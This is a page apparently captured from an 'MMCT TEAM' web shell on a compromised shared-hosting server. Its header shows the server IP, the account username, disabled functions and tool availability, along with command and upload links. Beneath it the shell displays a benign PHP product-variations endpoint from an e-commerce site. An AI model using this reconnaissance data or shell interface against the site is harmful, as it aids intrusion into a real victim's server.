MMCT TEAM
Server IP : 217.21.85.138  /  Your IP : 216.73.216.103
Web Server : LiteSpeed
System : Linux in-mum-web906.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u915722082 ( 915722082)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u915722082/.nvm/../public_html/lohri/user/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u915722082/.nvm/../public_html/lohri/user/get_product_variations.php
<?php
// get_product_variations.php
if (session_status() == PHP_SESSION_NONE) {
    session_start();
}
require_once __DIR__ . '/../config/config.php';
require_once __DIR__ . '/../config/db.php';
header('Content-Type: application/json');

try {
    $pdo = new PDO(
        "mysql:host=" . DB_HOST . ";dbname=" . DB_NAME . ";charset=utf8mb4",
        DB_USER,
        DB_PASS,
        [
            PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
        ]
    );
} catch (PDOException $e) {
    echo json_encode(['success' => false, 'message' => 'Database connection failed']);
    exit;
}

if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    echo json_encode(['success' => false, 'message' => 'Invalid request method']);
    exit;
}

$pid = isset($_POST['pid']) ? (int)$_POST['pid'] : 0;

if ($pid <= 0) {
    echo json_encode(['success' => false, 'message' => 'Invalid product ID']);
    exit;
}

// Get product basic info
$productSql = "SELECT pid, pname, pthumb, pimg, category, pdes 
               FROM products 
               WHERE pid = ? AND status IN ('approved', 'published')";
$stmt = $pdo->prepare($productSql);
$stmt->execute([$pid]);
$product = $stmt->fetch();

if (!$product) {
    echo json_encode(['success' => false, 'message' => 'Product not found']);
    exit;
}

// Get all variations
$variationsSql = "SELECT id, variant_title, price, quantity, image_path, variant_data
                  FROM product_variations 
                  WHERE PID = ? 
                  ORDER BY price ASC";
$stmt = $pdo->prepare($variationsSql);
$stmt->execute([$pid]);
$variations = $stmt->fetchAll();

// Get unique option types
$optionsSql = "SELECT DISTINCT option_name, option_value, main_img
               FROM product_variation_options 
               WHERE PID = ? 
               ORDER BY option_name, option_value";
$stmt = $pdo->prepare($optionsSql);
$stmt->execute([$pid]);
$optionsRaw = $stmt->fetchAll();

// ✅ NEW: Build option images map
$optionImagesMap = [];
foreach ($optionsRaw as $opt) {
    if (!empty($opt['main_img']) && trim($opt['main_img']) !== '' && $opt['main_img'] !== 'null') {
        $key = strtolower(trim($opt['option_name'])) . '_' . strtolower(trim($opt['option_value']));
        $optionImagesMap[$key] = trim($opt['main_img']);
    }
}

// ✅ NEW: Add display_image to each variation
foreach ($variations as &$var) {
    $var['display_image'] = null;
    
    // Priority 1: Use variation's own image_path
    if (!empty($var['image_path']) && trim($var['image_path']) !== '' && $var['image_path'] !== 'null') {
        $var['display_image'] = trim($var['image_path']);
    } 
    // Priority 2: Find image from option map based on variant_data
    else if (!empty($var['variant_data']) && $var['variant_data'] !== 'null') {
        try {
            $vData = json_decode($var['variant_data'], true);
            if (is_array($vData)) {
                foreach ($vData as $attrName => $attrValue) {
                    $key = strtolower(trim($attrName)) . '_' . strtolower(trim($attrValue));
                    if (isset($optionImagesMap[$key])) {
                        $var['display_image'] = $optionImagesMap[$key];
                        break; // Use first matching image
                    }
                }
            }
        } catch (Exception $e) {
            // Continue without display_image
        }
    }
}
unset($var); // Break reference

// Group options by type
$optionGroups = [];
foreach ($optionsRaw as $opt) {
    $optionName = $opt['option_name'];
    if (!isset($optionGroups[$optionName])) {
        $optionGroups[$optionName] = [];
    }
    $optionGroups[$optionName][] = [
        'value' => $opt['option_value'],
        'image' => $opt['main_img']
    ];
}

// Check for active offer
$offerData = null;
if (isset($_SESSION['user_id'])) {
    $offerSql = "SELECT offer_id, offer_amount, offer_valid_until 
                 FROM tbl_offers 
                 WHERE product_id = ? AND user_id = ? 
                 AND status = 'accepted' 
                 AND offer_valid_until > NOW()
                 LIMIT 1";
    $stmt = $pdo->prepare($offerSql);
    $stmt->execute([$pid, $_SESSION['user_id']]);
    $offerData = $stmt->fetch();
}

// ✅ Build comprehensive images array
$images = [];

// Priority 1: ALL variation images (including display_image)
foreach ($variations as $v) {
    if (!empty($v['image_path']) && trim($v['image_path']) !== '' && $v['image_path'] !== 'null') {
        $cleanPath = trim($v['image_path']);
        if (!in_array($cleanPath, $images)) {
            $images[] = $cleanPath;
        }
    }
    if (!empty($v['display_image']) && trim($v['display_image']) !== '' && $v['display_image'] !== 'null') {
        $cleanPath = trim($v['display_image']);
        if (!in_array($cleanPath, $images)) {
            $images[] = $cleanPath;
        }
    }
}

// Priority 2: ALL option images
foreach ($optionsRaw as $opt) {
    if (!empty($opt['main_img']) && trim($opt['main_img']) !== '' && $opt['main_img'] !== 'null') {
        $cleanPath = trim($opt['main_img']);
        if (!in_array($cleanPath, $images)) {
            $images[] = $cleanPath;
        }
    }
}

// Priority 3: Product thumbnail
if (!empty($product['pthumb']) && trim($product['pthumb']) !== '' && $product['pthumb'] !== 'null') {
    $cleanPath = trim($product['pthumb']);
    if (!in_array($cleanPath, $images)) {
        $images[] = $cleanPath;
    }
}

// Priority 4: Product gallery
if (!empty($product['pimg']) && $product['pimg'] !== 'null') {
    $pimgArray = array_filter(array_map('trim', explode(',', $product['pimg'])));
    foreach ($pimgArray as $img) {
        if (!empty($img) && $img !== 'null' && !in_array($img, $images)) {
            $images[] = $img;
        }
    }
}

// Remove nulls and ensure uniqueness
$images = array_values(array_unique(array_filter($images, function($img) {
    return !empty($img) && $img !== 'null' && trim($img) !== '';
})));

// Fallback
if (empty($images)) {
    $images[] = 'default-product.jpg';
}

// Response
echo json_encode([
    'success' => true,
    'product' => [
        'pid' => $product['pid'],
        'pname' => $product['pname'],
        'category' => $product['category'],
        'pdes' => $product['pdes'],
        'images' => $images
    ],
    'variations' => $variations,
    'optionGroups' => $optionGroups,
    'offerData' => $offerData,
    'hasOffer' => !empty($offerData)
]);
?>

MMCT - 2023